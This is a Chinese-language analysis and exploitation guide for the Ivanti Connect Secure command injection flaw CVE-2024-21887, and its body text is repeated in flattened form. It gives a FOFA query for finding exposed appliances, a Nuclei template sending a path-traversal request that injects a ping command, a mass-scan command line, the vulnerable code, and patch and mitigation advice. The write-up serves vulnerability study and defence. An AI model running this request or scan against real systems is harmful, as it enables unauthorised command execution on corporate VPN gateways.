CVE-2024-21887 Ivanti Connect Secure 命令注入漏洞分析
字数 1436 2025-08-24 07:48:33

Ivanti Connect Secure 命令注入漏洞(CVE-2024-21887)深度分析与利用指南

0x00 漏洞概述

漏洞编号: CVE-2024-21887
厂商: Ivanti
厂商官网: https://www.ivanti.com/ja/products/connect-secure-vpn
影响对象类型: Web应用
影响产品: Ivanti Connect Secure
影响版本: Version 9.x 和 22.x

Ivanti Connect Secure是一款提供远程和移动用户从任何支持Web的设备到企业资源的无缝、经济的SSL VPN解决方案。该漏洞允许攻击者绕过权限验证实现命令注入,从而获取目标系统权限。

0x01 漏洞影响

  • 影响版本: Version 9.x 和 22.x
  • 影响范围: 所有使用受影响版本的Ivanti Connect Secure系统
  • 危害等级: 高危(High Severity)
  • 潜在后果: 远程命令执行,系统完全控制

0x02 漏洞环境识别

识别受影响系统

使用FOFA搜索引擎进行识别:

title="Ivanti Connect Secure"

0x03 漏洞验证与利用

验证方法

使用Nuclei工具进行验证,模板如下:

id: poc
info:
  name: 直接发包命令注入
  author: xxx
  severity: high
  description: 直接发包命令注入,影响范围比较大
http:
  - raw:
      - |
        GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bping%20{{interactsh-url}}%3b HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
        Connection: close
        Accept-Encoding: gzip, deflate        
    unsafe: false
    cookie-reuse: false
    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns
        condition: or

利用命令

nuclei.exe -t .\poc.yaml -p http://127.0.0.1:8088 -iserver a.com -itoken token11 -l .\targets.txt

利用原理

构造特殊请求实现路径遍历和命令注入:

GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bping%20{{interactsh-url}}%3b HTTP/1.1

其中:

  • %3b 是分号(;)的URL编码
  • {{interactsh-url}} 是交互式服务器URL,用于验证命令执行

0x04 漏洞深度分析

漏洞根源

  1. 鉴权绕过机制:

    • 系统对以/api/v1/totp/user-backup-code开头的路由不进行鉴权
    • 通过路径遍历/../../可以访问其他本应受保护的路由
  2. 命令注入点:

    • /api/v1/license/keys-status/<path:node_name>路由存在命令注入漏洞
    • 后端使用subprocess.Popen执行命令时未对输入进行过滤

关键代码分析

  1. 鉴权绕过代码:
iVar8 = strncmp(pcVar7, "/api/v1/totp/user-backup-code", 0x1d);
if (iVar8 == 0) {
    return true;
}
  1. 命令注入代码:
def get(self, url_suffix=None, node_name=None):
    if request.path.startswith("/api/v1/license/keys-status"):
        try:
            dsinstall = os.environ.get("DSINSTALL")
            if node_name == None:
                node_name = ""
            proc = subprocess.Popen(
                dsinstall + "/perl5/bin/perl" + " " + 
                dsinstall + "/perl/getLicenseCapacity.pl" + 
                " getLicenseKeys " + node_name,
                shell=True,
                stdout=subprocess.PIPE,
            )

漏洞利用链

  1. 通过/api/v1/totp/user-backup-code路由绕过鉴权
  2. 使用路径遍历/../../访问受保护的/api/v1/license/keys-status路由
  3. node_name参数中注入恶意命令

0x05 漏洞修复建议

官方修复

厂商已发布漏洞修复程序,建议立即更新至最新版本:
https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US

临时缓解措施

  1. 禁用或限制对/api/v1/totp/user-backup-code路由的访问
  2. 实施严格的输入验证,特别是对路径遍历和命令注入的防护
  3. 在网络边界部署WAF,配置规则拦截可疑的路径遍历和命令注入尝试

0x06 总结

CVE-2024-21887是一个高危的未授权命令注入漏洞,结合了路径遍历和鉴权绕过技术。攻击者可以利用此漏洞在目标系统上执行任意命令,完全控制系统。建议所有使用Ivanti Connect Secure的组织立即评估系统是否受影响并采取相应措施。

Ivanti Connect Secure 命令注入漏洞(CVE-2024-21887)深度分析与利用指南 0x00 漏洞概述 漏洞编号 : CVE-2024-21887 厂商 : Ivanti 厂商官网 : https://www.ivanti.com/ja/products/connect-secure-vpn 影响对象类型 : Web应用 影响产品 : Ivanti Connect Secure 影响版本 : Version 9.x 和 22.x Ivanti Connect Secure是一款提供远程和移动用户从任何支持Web的设备到企业资源的无缝、经济的SSL VPN解决方案。该漏洞允许攻击者绕过权限验证实现命令注入,从而获取目标系统权限。 0x01 漏洞影响 影响版本 : Version 9.x 和 22.x 影响范围 : 所有使用受影响版本的Ivanti Connect Secure系统 危害等级 : 高危(High Severity) 潜在后果 : 远程命令执行,系统完全控制 0x02 漏洞环境识别 识别受影响系统 使用FOFA搜索引擎进行识别: 0x03 漏洞验证与利用 验证方法 使用Nuclei工具进行验证,模板如下: 利用命令 利用原理 构造特殊请求实现路径遍历和命令注入: 其中: %3b 是分号(;)的URL编码 {{interactsh-url}} 是交互式服务器URL,用于验证命令执行 0x04 漏洞深度分析 漏洞根源 鉴权绕过机制 : 系统对以 /api/v1/totp/user-backup-code 开头的路由不进行鉴权 通过路径遍历 /../../ 可以访问其他本应受保护的路由 命令注入点 : /api/v1/license/keys-status/<path:node_name> 路由存在命令注入漏洞 后端使用 subprocess.Popen 执行命令时未对输入进行过滤 关键代码分析 鉴权绕过代码 : 命令注入代码 : 漏洞利用链 通过 /api/v1/totp/user-backup-code 路由绕过鉴权 使用路径遍历 /../../ 访问受保护的 /api/v1/license/keys-status 路由 在 node_name 参数中注入恶意命令 0x05 漏洞修复建议 官方修复 厂商已发布漏洞修复程序,建议立即更新至最新版本: https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_ US 临时缓解措施 禁用或限制对 /api/v1/totp/user-backup-code 路由的访问 实施严格的输入验证,特别是对路径遍历和命令注入的防护 在网络边界部署WAF,配置规则拦截可疑的路径遍历和命令注入尝试 0x06 总结 CVE-2024-21887是一个高危的未授权命令注入漏洞,结合了路径遍历和鉴权绕过技术。攻击者可以利用此漏洞在目标系统上执行任意命令,完全控制系统。建议所有使用Ivanti Connect Secure的组织立即评估系统是否受影响并采取相应措施。